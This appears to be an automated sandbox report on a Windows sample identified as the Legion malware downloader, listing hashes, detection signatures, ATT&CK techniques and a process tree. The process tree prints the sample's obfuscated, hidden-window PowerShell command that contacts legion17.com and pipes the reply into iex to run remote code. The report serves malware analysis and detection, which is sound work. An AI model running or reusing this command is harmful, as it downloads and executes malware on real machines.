Analysis
- max time kernel
92s - max time network
124s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
- submitted
07/09/2024, 03:51
General
- Target d103074755792906a0aab038103444e3_JaffaCakes118.exe
- Size 184KB
- Sample240907-eew23atcjl
- SHA256 2b61b3b00aa5d548e41dc305cb1271c26dc387601a7a7cdb63600b49c270bb30
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://legion17.com/legion17/welcome
Signatures
- Legion
Legion is a malware downloader written in C++ and stealer written C#.
- Legion downloader 1 IoCs
Detected Legion downloader HTTP request code and PowerShell execution.
- Blocklisted process makes network request 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\d103074755792906a0aab038103444e3_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\d103074755792906a0aab038103444e3_JaffaCakes118.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##################@(n#ew###-#ob#jec#t N#####et#.W#eb#Cl#ie#nt#).#Up#loa#d#####St#ri#ng(#''h#t#tp#:#//legion17.com/leg#ion1#7#/#w#el#co#me''#,#''H#or#seHo#urs''#)#|#i#e#x'.replace('#','').split('@',5);&$t[0]$t[1]}"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##################@(n#ew###-#ob#jec#t N#####et#.W#eb#Cl#ie#nt#).#Up#loa#d#####St#ri#ng(#''h#t#tp#:#//legion17.com/leg#ion1#7#/#w#el#co#me''#,#''H#or#seHo#urs''#)#|#i#e#x'.replace('#','').split('@',5);&$t[0]$t[1]}"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_rgolfkz0.gd5.ps1
memory/3044-15-0x0000000006270000-0x00000000062D6000-memory.dmp
memory/3044-10-0x000000007485E000-0x000000007485F000-memory.dmp
memory/3044-12-0x0000000074850000-0x0000000075000000-memory.dmp
memory/3044-13-0x0000000005B40000-0x0000000006168000-memory.dmp
memory/3044-14-0x0000000005A80000-0x0000000005AA2000-memory.dmp
memory/3044-33-0x0000000074850000-0x0000000075000000-memory.dmp
memory/3044-16-0x00000000062E0000-0x0000000006346000-memory.dmp
memory/3044-11-0x0000000003360000-0x0000000003396000-memory.dmp
memory/3044-26-0x0000000006450000-0x00000000067A4000-memory.dmp
memory/3044-27-0x0000000006940000-0x000000000695E000-memory.dmp
memory/3044-28-0x0000000006990000-0x00000000069DC000-memory.dmp
memory/3044-29-0x0000000008190000-0x000000000880A000-memory.dmp
memory/3044-30-0x0000000006E80000-0x0000000006E9A000-memory.dmp
memory/4012-9-0x0000000000C50000-0x0000000000C83000-memory.dmp